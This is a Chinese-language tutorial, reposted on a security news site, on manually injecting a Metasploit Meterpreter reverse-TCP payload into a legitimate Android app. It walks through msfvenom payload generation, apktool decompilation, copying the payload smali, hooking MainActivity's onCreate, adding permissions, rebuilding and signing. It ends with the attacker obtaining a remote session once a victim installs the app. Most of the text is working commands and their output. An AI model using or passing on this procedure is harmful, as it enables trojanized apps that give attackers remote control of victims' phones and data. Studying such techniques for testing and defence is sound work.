安全路透社
当前位置:安全路透社 > 网络转载 > 正文

如何手动将Metasploit的Payloads注入到Android应用中

由于大多数Android应用缺乏对二进制文件足够的保护,因此攻击者可以将一些恶意的payload轻松地植入到那些合法的Android应用中。这也是现如今,导致Android机中恶意软件传播迅速的重要原因之一。在我之前写的一篇文章中,我已经为大家演示了如何使用脚本将Metasploit payload注入到android应用中。在本文我将通过手动的方式实现payload的注入。

步骤1 – 生成payload

我们首先使用Metasploit MsfVenom来生成一个APK格式的Meterpreter payload文件。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
 
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

生成apk 及meterpreter payload.png

步骤2 – APK文件反编译

在做其它操作之前,我们必须先对目标应用和我们生成的pentestlab.apk文件进行反编译。这里我们可以借助apktool来实现。以下命令将执行反编译操作,其结果将被保存在.smali文件中。

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

apk反编译.png

步骤3 – 移动payload文件

接着我们需要将pentestlab.apk的payload文件,复制到应用程序所在的smali文件夹中。

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤4 – Hook注入

检查应用程序的Android清单文件,以确定哪些是在打开应用程序时启动的MainActivity。这一步非常重要,否则payload将无法有效执行。

确认 main activity.png

MainActivity文件中黄色标亮的地方,我们需要替换成以下代码:

;->onCreate(Landroid/os/Bundle;)V

确认需要替换的代码.png

当activity启动时,以下代码将运行metasploit payload以及现有代码。

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

 hook注入.png

步骤5 – 添加Permission权限

为了使注入的payload更有效,我们可以额外的添加permission权限到应用的android清单文件中。一旦用户接受它们,那么我们将获取到更多的手机控制权限。

额外添加permission.png

步骤6 – 重新编译应用程序

完成了以上payload和permission的添加操作,下面我们要做的就是再次编译我们的APK文件。

java -jar apktool.jar b /root/Downloads/original/

编译被注入的apk.png

步骤7 – APK签名

如果我们的应用没有签名,将无法在设备上正常安装。这里我们可以使用默认的androiddebugkey:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

apk签名.png

当目标用户成功安装并运行该APK文件,我们将获取到一个meterpreter session。

通过被入侵的android apk获取meterpreter.png

*参考来源:pentestlab,FB小编 secist 编译

未经允许不得转载:安全路透社 » 如何手动将Metasploit的Payloads注入到Android应用中

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册